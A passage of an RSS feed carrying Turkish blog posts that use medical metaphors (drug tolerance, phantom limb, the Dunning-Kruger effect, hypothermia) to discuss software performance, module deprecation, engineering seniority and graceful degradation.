            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/tolerans-ve-doz-agri-kesiciye-alisan-vucut-ve-yuksek-kaynaga-alisan-kod/thumbnail" alt=""> Farmakolojinin ve bağımlılık tıbbının en hüzünlü, en kısır döngülü biyolojik mekanizmalarından biri <strong>"Tolerans Gelişimi"dir (Tolerance).</strong></p>
<p>Kronik ağrısı olan bir hastayı düşünün. Başlangıçta 10 miligramlık basit bir ağrı kesici (örneğin bir opioid veya analjezik) ağrıyı bıçak gibi keser. Hasta rahat bir nefes alır, hayata döner. Ancak haftalar ve aylar geçtikçe insan bedeni o kimyasal uyarana alışmaya başlar. Hücre yüzeyindeki reseptörler (özellikle mu-opioid reseptörleri) duyarsızlaşır (desensitizasyon) ve sayılarını azaltır (down-regulation).</p>
<p>Bir süre sonra o 10 mg artık ağrıyı kesmemeye başlar.<br>
Hasta doktorun kapısını çalar: <em>"Ağrım geri geldi, ilacı artırmamız lazım."</em><br>
Doz 20 mg'a çıkarılır. Birkaç ay sonra 40 mg'a, sonra 80 mg'a...</p>
<p>Hasta aslında iyileşmiyordur. Hastalığın altındaki kök neden (iltihap, fıtık, tümör) yerinde durmaktadır. Beden sadece ilacın dozuna karşı korkunç bir tolerans geliştirmiş ve o zehre bağımlı hale gelmiştir. Dozu artırmak hastalığı tedavi etmez; sadece kaçınılmaz çöküşü erteler ve karaciğeri iflasa sürükler.</p>
<p>Şimdi bu farmakolojik tuzağı alın ve modern bulut bilişimin (Cloud Computing), sunucu yönetiminin ve yazılım mimarisinin tam göbeğine yerleştirin.</p>
<h3>"Sunucu Yavaşladı, Instance'ı Büyütün!"</h3>
<p>Yazılım sektörünün en yaygın, en tembel ve en tehlikeli alışkanlığı nedir biliyor musunuz?<br>
<strong>Algoritmik tembelliği, kredi kartıyla çözmeye çalışmak.</strong></p>
<p>Bir e-ticaret veya SaaS uygulamanız vardır. Başlangıçta her şey 2 vCPU ve 4 GB RAM'e sahip mütevazı bir sunucuda harika çalışıyordur. Ancak zamanla kullanıcı sayısı biraz artar ve sistem nefes nefese kalmaya başlar. Yanıt süreleri 200 ms'den 2 saniyeye fırlar, CPU kullanımı %95'e dayanır.</p>
<p>O an masada iki seçenek vardır:</p>
<ol>
<li><strong>Zor ve Erdemli Yol:</strong> Kodu profillemek (profiling), veritabanındaki N+1 sorgu problemlerini bulmak, eksik indeksleri tespit etmek, bellek sızıntılarını cerrahi olarak ayıklamak.</li>
<li><strong>Kolay ve Zehirli Yol:</strong> AWS konsolunu açıp sunucu tipini <code>t3.medium</code>dan <code>c5.2xlarge</code>a çekmek. RAM'i 4 GB'tan 32 GB'a fırlatmak.</li>
</ol>
<p>Ve şirketlerin %90'ı ne yapar? Tabii ki ikinci yolu seçer. İki tıklamayla sunucu boyutu artırılır, fatura kabartılır, CPU kullanımı bir anda %20'ye düşer. Herkes birbirini tebrik eder: <em>"Sorunu çözdük!"</em></p>
<p>Hayır, hiçbir şeyi çözmediniz. Siz sadece hastanın morfin dozunu iki katına çıkardınız.</p>
<h3>Kodun Oburluk Toleransı</h3>
<p>Peki sonra ne olur? Biyolojideki o acımasız tolerans yasası yazılımda da devreye girer.</p>
<p>Siz o kötü yazılmış koda 32 GB RAM verdiğinizde, o kod iyileşmez; <strong>daha obur hale gelir.</strong></p>
<ul>
<li>Geliştiriciler artık belleği serbest bırakma (garbage collection) ihtiyacı hissetmez; çünkü <em>"Nasılsa RAM bol"</em> rahatlığına kapılırlar.</li>
<li>Veritabanından sadece 3 alan çekmek yerine, 50 sütunluk koca nesneleri komple belleğe çeken aptalca ORM sorguları yazmaya devam ederler.</li>
<li>Karmaşıklığı <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>2</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n^2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> veya <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>3</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n^3)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> olan korkunç iç içe döngüler kod tabanına yayılır.</li>
</ul>
<p>Ve 6 ay sonra o 32 GB RAM de yetmemeye başlar. Sistem yine kilitlenir, yine yavaşlar.</p>
<p>Ekip bu kez <em>"Bize 64 GB RAM ve 16 çekirdek lazım"</em> diye yönetimin kapısına gider. Şirket her ay Amazon'a, Google'a küçük bir servet ödeyen bir <strong>"Bulut Bağımlısına"</strong> dönüşür. AWS'in ve bulut devlerinin trilyon dolarlık imparatorlukları, işte bu mühendislik tembelliğinden ve donanım toleransından beslenir.</p>
<h3>50 Megabayt ile Ay'a Giden İnsanlık</h3>
<p>Bilgisayar bilimleri tarihini hatırlayın. 1969 yılında Apollo 11 uzay aracını Ay'a indiren kılavuz bilgisayarın (Apollo Guidance Computer) sadece <strong>4 kilobayt</strong> RAM'i vardı. 1990'larda dünyayı kasıp kavuran Doom oyunu, sadece <strong>4 megabayt</strong> bellekle 3 boyutlu bir evren simüle ediyordu.</p>
<p>Bugün ise Slack veya Teams gibi basit bir sohbet uygulamasını açtığınızda bilgisayarınızdan 2 GB RAM emdiğini görüyorsunuz. İki satır metin göndermek için Apollo 11'in milyonlarca katı kaynağa ihtiyaç duyuyoruz.</p>
<p>Bunun adı teknolojik gelişme değildir. Bunun adı <strong>"Donanım Şişmanlığı" (Software Bloat) ve sefahattir.</strong></p>
<p>İşlemciler hızlandıkça, bellekler ucuzladıkça; mühendisler zarafeti, optimizasyonu ve algoritma disiplinini unuttu. Kötü kodun yarattığı pisliği, altına daha büyük donanım halıları sererek örtbas etmeye alıştık.</p>
<h3>Gerçek Tedavi Kök Nedeni Ameliyat Etmektir</h3>
<p>Ağrıyı kesmek için dozu sürekli artırırsanız, günün birinde hastayı aşırı dozdan (overdose) kaybedersiniz.</p>
<p>Bir yazılım projesinde de her performans krizini sunucu büyüterek çözmeye çalışırsanız; günün birinde öyle bir trafik dalgası gelir ki, dünyadaki en pahalı AWS sunucusu bile o <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>3</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n^3)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> karmaşıklığındaki kodunuzu kurtaramaz. Sistem çöker, bütçe tükenir ve şirket iflas eder.</p>
<p>Gerçek bir mühendis olmak istiyorsanız; sunucu boyutunu artırmayı bir "başarı" değil, bir <strong>"yenilgi itirafı"</strong> olarak görün.</p>
<p>Bir sistem yavaşladığında elinizi hemen kredi kartına atmayın.<br>
Kodu masaya yatırın.<br>
Profiler'ı çalıştırın.<br>
O gereksiz döngüleri, o bellek sızıntılarını, o tembel sorguları tek tek bulun ve neşterle kesip atın.</p>
<p>Çünkü hastayı hayatta tutan şey sonsuz dozda morfin değil; hastalığın kaynağını kurutan o cesur ve disiplinli cerrahi müdahaledir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>tolerans</category>
            <category>optimizasyon</category>
            <category>ram</category>
            <category>cloud-maliyeti</category>
            <category>paramedik</category>
            <category>farmakoloji</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/tolerans-ve-doz-agri-kesiciye-alisan-vucut-ve-yuksek-kaynaga-alisan-kod/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Phantom Limb" (Hayalet Uzuv) Sendromu ve Silinen Modüller]]></title>
            <link>http://localhost:3000/blog/post/phantom-limb-hayalet-uzuv-sendromu-ve-silinen-moduller</link>
            <guid>phantom-limb-hayalet-uzuv-sendromu-ve-silinen-moduller</guid>
            <pubDate>Tue, 04 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Ampute edilen bir uzvun varmış gibi ağrıması (hayalet uzuv); yazılımda deprecated edilip silinen bir servisin ardından mimaride hâlâ ona istek atmaya çalışan yetim kodların bıraktığı boşluk üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/phantom-limb-hayalet-uzuv-sendromu-ve-silinen-moduller/thumbnail" alt=""> Nörolojinin ve cerrahinin en büyüleyici, en hüzünlü ve en açıklanamaz fenomenlerinden biri <strong>"Hayalet Uzuv" (Phantom Limb) Sendromudur.</strong></p>
<p>Trafik kazası, diyabetik nekroz ya da savaş yaralanması nedeniyle bacağını veya kolunu kaybetmiş bir hastanın yanına gidersiniz. Ameliyatın üzerinden aylar geçmiştir; yatakta hastanın sağ bacağının yerinde sadece boş bir çarşaf durmaktadır.</p>
<p>Ama hasta acı içinde kıvranarak size şunu söyler:<br>
<em>"Doktor bey, sağ ayak başparmağım öyle bir kaşınıyor ve sızlıyor ki delireceğim. Sanki birisi parmaklarımı mengeneyle sıkıyor."</em></p>
<p>Olmayan bir organ ağrıyabilir mi? Biyolojik olarak evet.<br>
Çünkü bacak fiziksel olarak kesilip atılmış olsa bile; beynin somatosensöriyel korteksinde o bacağa ait nöral harita (Penfield homunculus) hâlâ silinmemiştir. Kesilen sinir uçları beyne sahte sinyaller göndermeye devam eder; beyin o boşluğa anlam veremez ve kayıp uzvun "hayaletiyle" yıllarca acı çeker.</p>
<p>Bir uzvu kesip atmak cerrah için 20 dakikalık bir ameliyattır; ama o uzvun yokluğunu beynin kabul etmesi bazen bir ömür sürer.</p>
<p>Peki, yazılım mimarilerinde eski bir modülü sildiğimizde ne yaşanır?</p>
<h3><code>git rm -rf</code>: Fiziksel Silinmenin Kolaylığı</h3>
<p>Yazılım dünyasında bir modülden, eski bir servisten veya deprecated edilmiş bir kütüphaneden kurtulmak çocuk oyuncağı gibi görünür:<br>
Dosyaları seçersiniz, <code>Delete</code> tuşuna basarsınız veya terminale o havalı komutu yazarsınız:<br>
<code>git rm -rf src/legacy-billing-service</code><br>
<code>git commit -m "feat: delete legacy billing module forever"</code></p>
<p>PR onaylanır, merge edilir ve kod tabanından binlerce satır silinir. Ekip arkasına yaslanır: <em>"Oh be, kurtulduk şu kamburdan!"</em></p>
<p>Ama birkaç gün sonra, sistemin en beklenmedik köşelerinde esrarengiz arızalar başlar:</p>
<ul>
<li>Kullanıcı profilini güncellemek ister; sistem <code>500 Internal Server Error</code> fırlar.</li>
<li>Gece yarısı çalışan raporlama servisi aniden durur; loglarda şu satır belirir:<br>
<code>Connection refused: http://billing-service:8080/api/v1/status</code></li>
<li>Veritabanında bir migration çalıştırmaya kalkarsınız; sistem <em>"Foreign key constraint violation"</em> diyerek suratınıza çarpar; çünkü silinen modülün veritabanında bıraktığı yetim kayıtlar hâlâ canlı tablolara bağlıdır.</li>
</ul>
<p>Fiziksel olarak o modülü depodan silmişsinizdir; ama mimarinizin sinir uçlarında o modül hâlâ zonklayarak yaşamaya devam ediyordur.</p>
<p>Sisteminiz tam anlamıyla bir <strong>"Hayalet Uzuv Sendromu"</strong> yaşamaktadır.</p>
<h3>Yetim Kodlar ve Zombi Bağımlılıklar</h3>
<p>Bir yazılım sistemi büyüdükçe, organları arasındaki bağlar sandığınızdan çok daha derin, karmaşık ve görünmez kılcal damarlarla örülür.</p>
<p>Siz <em>"Ben sadece eski bildirim servisini sildim"</em> dersiniz. Ama farkında değilsinizdir ki;</p>
<ul>
<li>Üç yıl önce yazılmış bir cron job, o servisin log dosyalarını okumaya çalışıyordur.</li>
<li>Frontend uygulamasındaki küçük bir bileşen (widget), o servisten bir sayaç değeri bekliyordur ve o değer gelmeyince tüm React ağacını kilitliyordur.</li>
<li>Docker konfigürasyonunuzda, CI/CD pipeline'ınızda veya Kubernetes manifestolarınızda hâlâ o ölü servisin hayaleti dolaşıyordur.</li>
</ul>
<p>Buna bilgisayar bilimlerinde <strong>"Yetim Kod" (Orphaned Code) veya "Zombi Bağımlılık" (Zombie Dependency)</strong> denir.</p>
<p>Kodu silmek en kolayıdır; zor olan, o kodun sistemin zihninde bıraktığı sinaptik bağlantıları temizleyebilmektir. Bir cerrah gibi damarları koterize etmeden, sinir uçlarını özenle kapatmadan kör bir baltayla modül keserseniz; arkanızda kanayan yüzlerce mikro-kriz bırakırsınız.</p>
<h3>Amputasyonun Zarafeti: Graceful Deprecation</h3>
<p>Tıpta hayalet uzuv ağrılarını dindirmek için uygulanan harika bir terapi yöntemi vardır: <strong>Ayna Terapisi (Mirror Therapy).</strong> Hasta sağlam uzvunu bir aynanın karşısına koyar; beyin aynadaki yansımayı izleyerek o uzvun gerçekten orada olmadığını ve sağlam tarafın tek başına yettiğini görsel olarak idrak eder ve nöral haritasını yeniden çizer.</p>
<p>Yazılımda da bir modülü sistemden kesip atmadan önce, mimarinize o "ayna terapisini" uygulamak zorundasınız:</p>
<ol>
<li><strong>Önce Deprecate Et, Hemen Silme:</strong> Bir servisi aniden öldürmeyin. Önce <code>deprecated</code> uyarısı verin. Fonksiyon çağrıldığında loglara sarı uyarılar düşsün. Sistemin diğer parçalarının o servisten elini eteğini çekmesi için ekibe zaman tanıyın.</li>
<li><strong>Kör Noktaları Tara (Static Analysis &#x26; Telemetry):</strong> Üretim ortamında dağıtık izleme (Distributed Tracing / OpenTelemetry) kullanarak o servise son 30 günde tek bir isteğin bile gelmediğini matematiksel olarak doğrulayın. Tahminlerle kod silinmez; telemetriyle silinir.</li>
<li><strong>Sözleşmeyi (Interface) Koru, İçi Boşalt:</strong> Gerekirse servisin fiziksel sunucusunu kapatın ama API gateway üzerinde boş, zararsız bir cevap (<code>204 No Content</code> veya boş nesne) dönen sahte bir uç nokta (stub) bırakın. Böylece istemciler hayalet ağrıyla patlamasın.</li>
<li><strong>Veritabanı Mezarlığını Temizle:</strong> Sadece kodu silmek yetmez. O modülün veritabanında bıraktığı tabloları, indeksleri ve foreign key bağlarını temizlemek için bağımsız, izole migration script'leri çalıştırın.</li>
</ol>
<h3>Silmek de Bir Sanattır</h3>
<p>Geliştiricilerin değeri genellikle yazdıkları satır sayısıyla ölçülür. Bu, endüstrinin en sığ cehaletidir.</p>
<p>Gerçek bir kıdemli mühendisin ustalığı; sisteme tek bir satır kod eklemeden, binlerce satırlık çürümüş ve tehlikeli modülü geride tek bir hayalet ağrı bile bırakmadan, zarafetle ve sessizce sistemden söküp atabilme yeteneğidir.</p>
<p>Bir dahaki sefere bir modülü silmeye kalktığınızda, elinizdeki neştere ve klavyeye dikkatle bakın.<br>
Sadece dosyayı silmeyin; mimarinin hafızasındaki o hayaleti de huzura kavuşturun.</p>
<p>Çünkü arkasında hayaletler bırakan bir sistem; asla tam anlamıyla sağlıklı ve özgür bir beden gibi koşamaz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>phantom-limb</category>
            <category>deprecate</category>
            <category>mimari</category>
            <category>teknik-borc</category>
            <category>paramedik</category>
            <category>yazilim-tasarimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/phantom-limb-hayalet-uzuv-sendromu-ve-silinen-moduller/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Dunning-Kruger Effect" Sahada ve Terminalde: Cahil Cesareti vs. Gerçek Soğukkanlılık]]></title>
            <link>http://localhost:3000/blog/post/dunning-kruger-effect-sahada-ve-terminalde-cahil-cesareti-vs-gercek-sogukkanlilik</link>
            <guid>dunning-kruger-effect-sahada-ve-terminalde-cahil-cesareti-vs-gercek-sogukkanlilik</guid>
            <pubDate>Mon, 03 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Mesleğin ilk aylarındaki bir paramediğin her vakaya "Ben bu işi çözdüm" özgüveniyle girmesi ile junior bir geliştiricinin mimariyi kökten değiştirebileceğini sanması. Gerçek kıdemin getirdiği sessiz soğukkanlılık.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/dunning-kruger-effect-sahada-ve-terminalde-cahil-cesareti-vs-gercek-sogukkanlilik/thumbnail" alt=""> 1999 yılında Cornell Üniversitesi psikologları David Dunning ve Justin Kruger, insan doğasının en ironik zihinsel kusurlarından birini akademik olarak kanıtladı: <strong>Dunning-Kruger Etkisi.</strong></p>
<p>Bu teorinin çizdiği o meşhur grafik, aslında her birimizin hayat yolculuğunun acımasız bir özetidir:<br>
Bir konuyu henüz yeni öğrenmeye başladığınızda, bilginiz çok azdır ama özgüveniniz stratosfere fırlar. Grafiğin o ilk zirvesine psikologlar çok manidar bir isim takmıştır: <strong>"Aptallık Tepesi" (Mount Ignorance).</strong></p>
<p>Çünkü neyi bilmediğinizi bilecek kadar bile bilgiye sahip değilsinizdir. Her şey çok basit, her sorun tek bir formülle çözülebilir görünür.</p>
<p>Ancak öğrenmeye, hata yapmaya ve sahada darbe almaya devam ettikçe; o sahte özgüven tepesinden aşağı doğru serbest düşüşe geçersiniz. Düştüğünüz o karanlık çukura <strong>"Umutsuzluk Vadisi" (Valley of Despair)</strong> denir: <em>"Ben meğer hiçbir şey bilmiyormuşum."</em><br>
Ve eğer o vadide pes etmezseniz, yıllar süren ağır tecrübelerin ardından yavaş yavaş <strong>"Aydınlanma ve Ustalık Yaylasına"</strong> tırmanırsınız. Orada artık gürültü yoktur; derin, mütevazı ve sessiz bir yetkinlik vardır.</p>
<p>Yıllar önce acil tıp stajına başladığımda ve ardından ambulansın arka kabininde nöbet tuttuğum ilk aylarda, kendimi tam olarak o "Aptallık Tepesi"nin zirvesinde bulmuştum.</p>
<h3>Ambulanstaki "Her Şeyi Bilen" Çömez</h3>
<p>Mesleğin ilk üç ayındaki bir paramediği veya stajyeri gözlemleyin:<br>
Üniformasını yeni giymiştir, cebinde parlak makaslar, boynunda stetoskop, telsiz omzunda... Birkaç başarılı damar yolu açmış, 20-30 tane standart vakaya gitmiştir. Yürüyüşü bile değişir. Her vakaya adeta bir süper kahraman edasıyla girer: <em>"Açılın, ben hallederim!"</em></p>
<p>Telsizde en yüksek sesle o konuşur, hastanede vaka teslim ederken en çok tıbbi jargonu o kullanır. Ona göre acil tıp çocuk oyuncağıdır; kitapta yazanları harfiyen uygularsan herkesi kurtarabilirsin.</p>
<p>Sonra o kırılma anı gelir.</p>
<p>Gece saat 04:00'te sedyenize öyle bir vaka yatar ki; ne damar yolu açabilirsiniz, ne soluk borusuna tüp takabilirsiniz. Kalp kitaptaki hiçbir algoritmaya uymaz. İlaç verirsiniz tepki vermez, şok verirsiniz ritim dönmez. Ve o insan sizin ellerinizin altında, gözlerinizin içine bakarak son nefesini verir.</p>
<p>O gün ambulanstan indiğinizde, dizleriniz titreyerek bir kaldırımın kenarına oturursunuz. O parlak üniforma bir anda tonlarca ağırlığında kurşun bir zırha dönüşür. Aptallık Tepesi'nden Umutsuzluk Vadisi'nin en dibine çakılmışsınızdır. O gün anlarsınız ki; insan biyolojisi kitaplardaki akış şemalarından ibaret değildir ve ölümün karşısında ne kadar aciz birer çırağızdır.</p>
<p>İstasyondaki 15 yıllık kıdemli paramediklere bakın:<br>
Hiçbir zaman gösterişli yürümezler. Sirenler çalarken bile nabızları 70'tir. Asla büyük konuşmazlar, asla <em>"Bu vaka çok basit"</em> demezler. Çünkü onlar o vadiden geçmiş, yüzlerce kez ölümün gözünün içine bakmış ve ustalığın tek kuralını öğrenmişlerdir: <strong>Sessiz, şüpheci ve hazırlıklı soğukkanlılık.</strong></p>
<h3>Yazılım Dünyasının "Aptallık Tepesi" Sakinleri</h3>
<p>Peki yazılım dünyasında bu eğri nasıl işler? Birebir aynı trajikomik senaryoyla.</p>
<p>Bir bootcamp bitirmiş veya 6 aydır bir şirkette çalışan junior geliştiriciyi izleyin:<br>
Twitter'da (X) ve LinkedIn'de en çok sesi çıkanlar onlardır. Herkese mimari dersi verirler:<br>
<em>"2026 yılında monolit kullanan dinozordur!"</em><br>
<em>"Hâlâ ilişkisel veritabanı mı kullanıyorsunuz, her şeyi MongoDB'ye taşımalısınız!"</em><br>
<em>"Tüm frontend'i filanca yeni framework ile yeniden yazmalıyız, diğerleri çöp!"</em></p>
<p>Aptallık Tepesi'nin havası boldur, manzarası güzeldir. Çünkü o geliştirici henüz;</p>
<ul>
<li>Dağıtık sistemlerde iki mikroservis arasındaki ağ gecikmesinin faturasını ödememiştir,</li>
<li>Gece saat 03:00'te veritabanındaki yabancı anahtar (foreign key) eksikliğinden dolayı şirketin milyonlarca liralık veri kaybına şahit olmamıştır,</li>
<li>10 milyon kullanıcılı bir sistemde race condition'ın nasıl bir kabusa dönüştüğünü tatmamıştır.</li>
</ul>
<p>Sonra o geliştirici büyür. Kendi yazdığı o "havalı" mikroservis mimarisi bir Black Friday gecesi yerle bir olur. Müşteri verileri silinir, yönetim masaya yumruğu vurur, şirket haftalarca o enkazı temizlemekle uğraşır.</p>
<p>Ve mühendis Umutsuzluk Vadisi'ne düşer: <em>"Ben aslında hiçbir şey bilmiyormuşum. Bilgisayar bilimleri benim sandığımdan bin kat daha derin ve karmaşık bir deryaymış."</em></p>
<h3>Gerçek Kıdem Tevazu Getirir</h3>
<p>İşte bu yüzden, 15-20 yıllık gerçek bir "Staff / Principal" mühendisle masaya oturduğunuzda; onun ne kadar sade, ne kadar sakin ve ne kadar az konuştuğunu görünce şaşırırsınız.</p>
<p>Ona <em>"Yeni bir projeye başlıyoruz, hangi mimariyi seçelim?"</em> diye sorduğunuzda, size en havalı teknolojilerin isimlerini sıralamaz. Gözlerini kısar ve tek bir cümle söyler:<br>
<em>"İşimizi görecek en basit, en sıkıcı ve en az hareketli parça içeren şey neyse onu kullanalım. Monolit yapalım, tek bir Postgres kuralım, basit bir REST API yazalım."</em></p>
<p>Çünkü o usta, karmaşıklığın getirdiği kanlı faturaları defalarca kendi cebinden ödemiştir.</p>
<p>Büyük konuşanlar genellikle en az vakaya girenler ya da en az prod çökertenlerdir.<br>
Cahil cesareti bağıra çağıra öne atılır; ama kriz anında ilk kaçan da o olur.</p>
<p>Hayatınızı bir hastaya müdahale eden bir paramediğe emanet edecekseniz de; şirketinizi milyon dolarlık bir mimariyi tasarlayan bir mühendise emanet edecekseniz de aynı şeye bakın:<br>
En çok bağıranı değil; o Umutsuzluk Vadisi'nden sağ çıkmış, egosu kırılmış ve yerini sessiz bir ustalığa bırakmış olan soğukkanlı profesyoneli bulun.</p>
<p>Çünkü kriz anında hayatı kurtaran şey cehaletin coşkusu değil; tecrübenin getirdiği o derin ve mütevazı sükûnettir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>dunning-kruger</category>
            <category>psikoloji</category>
            <category>kariyer</category>
            <category>paramedik</category>
            <category>soğukkanlılık</category>
            <category>tecrube</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/dunning-kruger-effect-sahada-ve-terminalde-cahil-cesareti-vs-gercek-sogukkanlilik/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Hipotermi ve Kademeli Sistem Yavaşlaması (Graceful Degradation)]]></title>
            <link>http://localhost:3000/blog/post/hipotermi-ve-kademeli-sistem-yavaslamasi-graceful-degradation</link>
            <guid>hipotermi-ve-kademeli-sistem-yavaslamasi-graceful-degradation</guid>
            <pubDate>Sun, 02 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Vücudun aşırı soğukta hayati organları korumak için el ve ayaklardaki kan akışını kesmesi gibi; devasa bir trafik patlamasında sistemin çökmemesi için ana fonksiyonlar dışındaki servisleri kademeli kapatma mimarisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/hipotermi-ve-kademeli-sistem-yavaslamasi-graceful-degradation/thumbnail" alt=""> Kışın dondurucu bir gecede, karda mahsur kalmış veya buz gibi bir nehre düşmüş bir insana müdahale ettiğinizde; insan biyolojisinin en acımasız ve en hayranlık uyandırıcı savunma mekanizmasıyla karşılaşırsınız: <strong>Hipotermi Refleksi.</strong></p>
<p>Vücudun iç sıcaklığı 35°C'nin altına düşmeye başladığında, hipotalamus bedene olağanüstü hal (OHAL) ilan eder. Beden çok iyi bilir ki; mevcut ısı ve enerjiyle trilyonlarca hücrenin tamamını aynı anda sıcak tutması fiziksel olarak imkânsızdır. Eğer enerjiyi herkese eşit dağıtmaya çalışırsa, birkaç dakika içinde kalp donacak ve tüm organizma ölecektir.</p>
<p>Bu yüzden beyin saniyeler içinde radikal bir feda kararı alır: <strong>Periferik Vazokonstriksiyon (Çevre Damarların Kapatılması).</strong></p>
<p>Parmak uçlarındaki, kulaklardaki, burundaki ve ayaklardaki kılcal damarlar hızla büzüşür. Kan akışı bu uç bölgelerden tamamen çekilir. El ve ayaklar buz keser, hissizleşir, morarır; donma (frostbite) başlar ve gerekirse o parmaklar kangren olup dökülecektir.</p>
<p>Neden mi? Çünkü o değerli, sıcak kanın tamamı göğüs kafesine ve kafatasına çekilmiştir. Beden kalbi, beyni ve ciğerleri sıcacık tutar.</p>
<p>Mesaj son derece nettir: <strong>Bütünün yaşaması için uçlar feda edilmelidir.</strong></p>
<p>Peki, aynı ölüm kalım savaşı yazılım sistemlerinin üzerine çöktüğünde ne yapıyoruz?</p>
<h3>"Hepsi Ya da Hiçbiri" Felaketi</h3>
<p>Geleneksel yazılım mimarilerinin en trajik zaafı, "Hepsi ya da Hiçbiri" (All-or-Nothing) mantığıyla çalışmalarıdır.</p>
<p>Büyük bir e-ticaret platformunu veya bir bankacılık uygulamasını düşünün. Yılın en büyük indirim gecesi (Black Friday) veya beklenmedik bir kriz anı gelir. Siteye bir anda normal trafiğin 20 katı yük biner.</p>
<p>Sistemin içinde onlarca farklı servis yan yana çalışmaktadır:</p>
<ul>
<li>Ödeme ve sipariş servisi (Hayati organ: Kalp)</li>
<li>Kullanıcı giriş servisi (Hayati organ: Beyin)</li>
<li>"Sizin için seçtiklerimiz" yapay zeka öneri modülü (Uç organ: Ayak başparmağı)</li>
<li>Ürün yorumları ve yıldız puanları (Uç organ: Kulak memesi)</li>
<li>Gerçek zamanlı kargo takip widget'ı (Uç organ: Tırnak ucu)</li>
</ul>
<p>Kötü kurgulanmış bir mimaride ne olur?<br>
O önemsiz yapay zeka öneri modülü, binlerce isteği kaldıramaz ve veritabanını kilitler. Veritabanı kilitlenince ödeme servisi de yanıt veremez hale gelir. Ve 10 dakika içinde bütün site <code>503 Service Unavailable</code> diyerek tamamen çöker.</p>
<p>Kullanıcı tek bir ürün bile satın alamaz. Şirket bir gecede milyonlarca lira kaybeder.</p>
<p>Neden mi? Çünkü sisteminiz, bir kulak memesi üşüdü diye kalbini durduran aptal bir organizma gibi davranmıştır!</p>
<h3>Graceful Degradation: Dijital Hipotermi</h3>
<p>İşte modern sistem mimarisinde bu felaketi engelleyen hayat kurtarıcı prensibe <strong>"Graceful Degradation" (Kademeli Sistem Yavaşlaması / Zarafetle Gerileme)</strong> denir.</p>
<p>Graceful Degradation; sistem devasa bir yük dalgası altında nefes nefese kaldığında, çöküp ölmek yerine <strong>ikincil organlarını kademeli olarak feda etme sanatıdır:</strong></p>
<ol>
<li><strong>Birinci Aşama (Hafif Hipotermi):</strong> Trafik eşik değeri aştığında, yapay zeka tabanlı kişiselleştirilmiş ürün önerilerini derhal kapatın. Kullanıcıya karmaşık öneriler sunmak yerine, önbellekte (cache) hazır bekleyen statik "En Çok Satanlar" listesini basın. CPU rahatlasın.</li>
<li><strong>İkinci Aşama (Orta Hipotermi):</strong> Yük artmaya devam ediyorsa; ürün detay sayfalarındaki dinamik yorumları, filtreleme araçlarını ve canlı stok sayaçlarını devreden çıkarın. Kullanıcı yorumları okuyamasın ama ürünü görmeye devam etsin.</li>
<li><strong>Üçüncü Aşama (Ağır Hipotermi - Çekirdek Koruma):</strong> Durum kritikse; arama motorunu kapatın, bildirim servislerini durdurun, analitik loglarını diske yazmayı kesin. Sunucunun tüm kaynaklarını (CPU, RAM, DB havuzu) tek bir hayati fonksiyona kilitleyin: <strong>Sepete ekle ve Ödemeyi tamamla!</strong></li>
</ol>
<p>Kullanıcı o gece sitede bazı süslü animasyonları görmeyebilir. Öneri listesi çalışmayabilir.<br>
